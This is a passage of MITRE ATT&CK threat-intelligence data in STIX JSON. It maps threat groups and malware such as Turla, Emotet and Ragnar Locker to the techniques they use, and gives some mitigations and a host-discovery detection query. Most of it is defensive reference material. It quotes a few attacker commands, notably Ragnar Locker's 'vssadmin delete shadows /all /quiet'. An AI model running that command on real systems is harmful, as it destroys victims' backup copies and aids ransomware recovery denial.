"relationship--055261fd-70cd-49c6-b9e6-2641bae4dda7", "created": "2022-04-06T19:43:27.292Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Koadic](https://attack.mitre.org/software/S0250) can obtain the OS version and build, computer name, and processor architecture from a compromised host.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T19:43:27.292Z", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--055797c4-d3fe-4c7d-b921-ca3665f02f72", "created": "2023-09-01T21:38:47.218Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-01T02:33:36.890Z", "description": "Where possible, ensure that online traffic is appropriately encrypted through services such as trusted VPNs.", "relationship_type": "mitigates", "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "target_ref": "attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--05581e74-e78f-40e1-aa13-c990a99cbac3", "created": "2023-02-23T18:04:38.335Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender LuminousMoth July 2021", "description": "Botezatu, B and etl. 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Retrieved June 15, 2020."}], "modified": "2020-06-29T02:52:31.565Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has used <code>net localgroup</code> and <code>net localgroup Administrators</code> to enumerate group information, including members of the local administrators group.(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--059f8b03-59f9-45da-9c12-862f50e5fe45", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN10 June 2017", "description": "FireEye iSIGHT Intelligence. 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Retrieved September 29, 2020."}], "modified": "2020-09-29T19:16:57.938Z", "description": "[WellMail](https://attack.mitre.org/software/S0515) can receive data and executable scripts from C2.(Citation: CISA WellMail July 2020)", "relationship_type": "uses", "source_ref": "malware--959f3b19-2dc8-48d5-8942-c66813a5101a", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--05e02170-dc4f-4112-a54c-fde4d05632d7", "created": "2023-09-29T19:50:06.652Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T19:50:06.652Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has enumerated all users connected to network shares.", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--05e05236-1635-48d7-8ee3-33319c01c815", "type": "relationship", "created": "2017-05-31T21:33:27.079Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/winnti-more-than-just-a-game/37029/", "description": "Kaspersky Lab's Global Research and Analysis Team. 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Retrieved October 5, 2021."}], "modified": "2021-10-15T03:11:44.624Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) uses a hidden folder named <code>.xcassets</code> and <code>.git</code> to embed itself in Xcode.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--05ee7ead-dfe8-4cd2-9e7c-8f1aada9bcde", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. 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Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Mongall](https://attack.mitre.org/software/S1026) can use HTTP for C2 communication.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-25T18:05:58.661Z", "relationship_type": "uses", "source_ref": "malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--062ebca3-abf7-449a-ad84-f04a3cada4dd", "type": "relationship", "created": "2017-05-31T21:33:27.055Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Equation QA", "description": "Kaspersky Lab's Global Research and Analysis Team. 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Retrieved December 20, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. 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T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}], "modified": "2020-03-30T03:07:37.788Z", "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the MAC and IP addresses during installation.(Citation: Palo Alto T9000 Feb 2016)", "relationship_type": "uses", "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--064cfeb5-9ddb-4dd2-ada4-cf9e65601dc5", "type": "relationship", "created": "2021-09-29T22:24:15.758Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-09-29T22:24:15.758Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has identified primary users, currently logged in users, sets of users that commonly use a system, or inactive users.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--064f8984-e6cc-4334-a5ad-903a7af9bf4c", "created": "2023-03-08T22:40:07.137Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-08T22:40:07.137Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06508c23-746d-4894-b414-cff925692bd5", "type": "relationship", "created": "2020-05-26T16:17:59.751Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Rocke August 2018", "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}, {"source_name": "Unit 42 Rocke January 2019", "url": "https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/", "description": "Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."}], "modified": "2020-05-26T16:17:59.751Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) exploited Apache Struts, Oracle WebLogic (CVE-2017-10271), and Adobe ColdFusion (CVE-2017-3066) vulnerabilities to deliver malware.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--065f628f-4539-4543-b922-ec3b6fd25a70", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T19:52:17.093Z", "description": "Monitor for newly executed processes that may attempt to get information about running processes on a system. To be effective in deciphering malicious and benign activity, the full command line is essential. Similarly, having information about the parent process can help with making decisions and tuning to an environment.\n\nBecause these commands are built in, they may be run frequently by power users or even by normal users. Thus, an analytic looking at this information should have well-defined white- or blacklists, and should consider looking at an anomaly detection approach, so that this information can be learned dynamically.\nWithin the built-in Windows Commands:\n\n- hostname\n- ipconfig\n- net\n- quser\n- qwinsta\n- sc\u00a0with flags\u00a0query,\u00a0queryex,\u00a0qc\n- systeminfo\n- tasklist\n- dsquery\n- whoami\nNote: To be effective in deciphering malicious and benign activity, the full command line is essential. Similarly, having information about the parent process can help with making decisions and tuning to an environment.\n\nAnalytic 1 - Host Discovery Commands\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image=\"C:\\\\Windows\\\\*\\\\hostname.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\ipconfig.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\net.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\quser.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\qwinsta.exe\" OR (Image=\"C:\\\\Windows\\\\*\\\\sc.exe\" AND (CommandLine=\"* query *\" OR CommandLine=\"* qc *\")) OR Image=\"C:\\\\Windows\\\\*\\\\systeminfo.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\tasklist.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\whoami.exe\")|stats values(Image) as \"Images\" values(CommandLine) as \"Command Lines\" by ComputerName</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--066425f1-79cb-4cbc-b570-0280ac503c55", "created": "2022-08-07T15:42:44.211Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[AuTo Stealer](https://attack.mitre.org/software/S1029) can store collected data from an infected host to a file named `Hostname_UserName.txt` prior to exfiltration.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-15T20:28:15.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--066ac155-2cfd-4466-bb3a-765f3513cc8e", "type": "relationship", "created": "2020-01-22T15:11:52.128Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", "url": "https://github.com/sensepost/ruler", "source_name": "SensePost Ruler GitHub"}], "modified": "2020-01-22T15:11:52.128Z", "description": "[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Rules to establish persistence.(Citation: SensePost Ruler GitHub) ", "relationship_type": "uses", "source_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38", "target_ref": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--066d9d0e-0298-420b-ba84-a4af07211a35", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", "source_name": "McAfee GhostSecret"}], "modified": "2019-04-22T22:40:41.212Z", "description": "[Proxysvc](https://attack.mitre.org/software/S0238) searches the local system and gathers data.(Citation: McAfee GhostSecret)", "relationship_type": "uses", "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06711c3f-230b-4d44-9c88-4861c48d2716", "type": "relationship", "created": "2021-03-17T15:54:31.036Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Debian nbtscan Nov 2019", "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html", "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."}, {"source_name": "SecTools nbtscan June 2003", "url": "https://sectools.org/tool/nbtscan/", "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."}], "modified": "2021-03-17T15:54:31.036Z", "description": "[NBTscan](https://attack.mitre.org/software/S0590) can list active users on the system.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t", "relationship_type": "uses", "source_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--067696dc-a106-42d7-9fc9-31c4865879e8", "created": "2022-06-01T18:51:57.929Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Tarrask scheduled task", "url": "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", "description": "Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Tarrask scheduled task) ", "modified": "2022-07-06T20:03:57.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "target_ref": "malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--067814b5-aa57-45e0-9bdf-5536b077c224", "type": "relationship", "created": "2017-05-31T21:33:27.050Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}, {"source_name": "Microsoft 365 Defender Solorigate", "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."}, {"source_name": "CrowdStrike StellarParticle January 2022", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}], "modified": "2022-02-09T15:33:52.059Z", "description": "(Citation: F-Secure The Dukes)(Citation: Microsoft 365 Defender Solorigate)(Citation: CrowdStrike StellarParticle January 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--067ece2b-4e66-437f-88e0-8dc3f076331b", "type": "relationship", "created": "2019-01-29T18:17:59.225Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CIRCL PlugX March 2013", "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}], "modified": "2019-04-19T15:08:15.911Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to create, delete, or modify Registry keys.(Citation: CIRCL PlugX March 2013)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06808653-60ba-430a-8c37-b3b49d740578", "type": "relationship", "created": "2022-01-26T21:16:54.339Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}], "modified": "2022-01-26T21:16:54.339Z", "description": "[Bisonal](https://attack.mitre.org/software/S0268) has used the Windows API to communicate with the Service Control Manager to execute a thread.(Citation: Talos Bisonal Mar 2020)", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06814fdf-8bf8-43eb-b448-812541b46afa", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "source_name": "Proofpoint Leviathan Oct 2017"}, {"url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. 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Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-23T21:02:04.368Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) can list all files and their associated attributes, including filename, type, owner, creation time, last access time, last write time, size, and permissions.(Citation: MalwareBytes WoodyRAT Aug 2022) ", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06ae1d46-2349-457e-817b-e9fdca2f7768", "type": "relationship", "created": "2021-02-11T17:32:32.042Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. 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Retrieved July 16, 2020."}], "modified": "2021-04-26T21:58:31.745Z", "description": "[Windigo](https://attack.mitre.org/groups/G0124) has used a script to detect which Linux distribution and version is currently installed on the system.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06b18704-e29e-4bf9-900f-44aa719df0c6", "type": "relationship", "created": "2020-03-18T14:48:43.975Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", "description": "Matsuda, A., Muhammad I. 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Retrieved October 11, 2019."}], "modified": "2019-10-11T17:29:20.309Z", "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a screenshot module that can be used to take a screenshot of the remote system.(Citation: SecureList Griffon May 2019)", "relationship_type": "uses", "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06b7b9b4-7cc8-4d7f-af8c-20fe8b8610b0", "type": "relationship", "created": "2020-11-17T20:21:18.633Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. 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Retrieved November 16, 2020."}], "modified": "2020-11-17T20:21:18.634Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can collect the IP address of a compromised host.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--06bf8477-fed1-410b-8fc9-2655758eed41", "created": "2022-04-06T13:34:51.870Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Symantec Palmerworm Sep 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", "description": "Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used stolen code-signing certificates for its malicious payloads.(Citation: Symantec Palmerworm Sep 2020)", "modified": "2022-04-06T13:35:16.120Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", "target_ref": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06dd311f-393f-4c24-beee-19d690ae4ba2", "type": "relationship", "created": "2020-06-30T00:39:39.891Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Ragnar May 2020", "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}], "modified": "2020-06-30T00:39:39.891Z", "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) can delete volume shadow copies using <code>vssadmin delete shadows /all /quiet</code>.(Citation: Sophos Ragnar May 2020)", "relationship_type": "uses", "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", 